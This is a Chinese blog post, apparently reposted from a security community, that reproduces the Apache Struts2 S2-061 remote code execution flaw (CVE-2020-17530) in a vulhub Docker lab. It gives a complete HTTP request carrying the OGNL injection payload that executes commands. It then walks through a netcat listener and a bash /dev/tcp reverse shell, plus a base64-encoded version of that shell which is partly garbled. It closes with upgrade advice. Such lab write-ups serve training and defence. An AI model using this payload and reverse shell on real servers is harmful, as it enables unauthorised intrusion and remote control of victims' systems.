Struts2 S2-061 远程命令执行漏洞(CVE-2020-17530)复现

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Struts2 S2-061 远程命令执行漏洞(CVE-2020-17530)复现相关的知识,希望对你有一定的参考价值。

前言

Apache Struts2框架是一个用于开发Java EE网络应用程序的Web框架。Apache Struts于2020年12月08日披露 S2-061 Struts 远程代码执行漏洞(CVE-2020-17530),在使用某些tag等情况下可能存在OGNL表达式注入漏洞,从而造成远程代码执行,风险极大,S2-061是对S2-059漏洞修复后的绕过。

影响版本:

Apache Struts 2.0.0 - 2.5.25

环境搭建

这里使用vulhub漏洞环境搭建

使用git克隆到本地

​git clone https://github.com/vulhub/vulhub.git​

Struts2

进入对应环境

​cd vulhub/struts2/s2-061​

Struts2

启动docker漏洞环境

​sudo docker-compose up -d​

Struts2

访问对应地址,出现如下页面,环境搭建成功

Struts2

复现过程

实现判断下是否存在漏洞,使用?id=%257*7查看返回id的值是7*7还是49,如果是47那么就说明进行了二次表达式解析,存在该漏洞

Struts2

这里id为49说明存在该漏洞。抓包修改为以下,这里的​​#arglist.add("xx")​​函数这里包含的值是你要执行的命令

POST /.action HTTP/1.1
Host: 192.168.52.128:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=node0i3sptalo62q6kw46qu49oxwn1.node0
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Length: 833

------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name="id"


%(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#cnotallow=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("ls")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))
------WebKitFormBoundaryl7d1B1aGsV2wcZwF--

Struts2


已经可以执行我们的命令了,接下来反弹shell

在vps上监听3333端口:​​nc -lvnp 3333​

编写反弹shell代码

​bash -i >& /dev/tcp/192.168.52.130/3333 0>&1​

反弹shell涉及到管道符问题要将命令进行base64编码

​bash -c echo,YmFzaCAtaSA+JiA删除vZGV2L3RjcC8xOTIuMTY4LjUyL删除jEzMC8zMzMz删除IDA+JjE=|base64,-d|bash,-i​

Struts2

Struts2

成功反弹出shell

检查POC

Struts2

私信公众号获取检测poc 具体请查看公众号文章

修复建议

升级到 Struts 2.5.26 版本或更高版本

原文转载自,助安社区(​https://secself.com/)​

关注公众号【助安社区】安全零基础到入门都在这,社区内部红队沙龙、资源共享和大厂工作经验。真正热爱安全和喜欢技术交流的小伙伴欢迎加入我们。

Struts2

以上是关于Struts2 S2-061 远程命令执行漏洞(CVE-2020-17530)复现的主要内容,如果未能解决你的问题,请参考以下文章

struts2远程命令执行漏洞S2-045

安全通告|Struts2(S2-052)远程命令执行漏洞

Struts2最新2013漏洞S-016远程命令执行

安全通告 | Apache Struts远程代码执行漏洞(CVE-2020-17530)

Struts2远程代码执行漏洞预警

飞视美 视频会议系统 Struts2 远程命令执行漏洞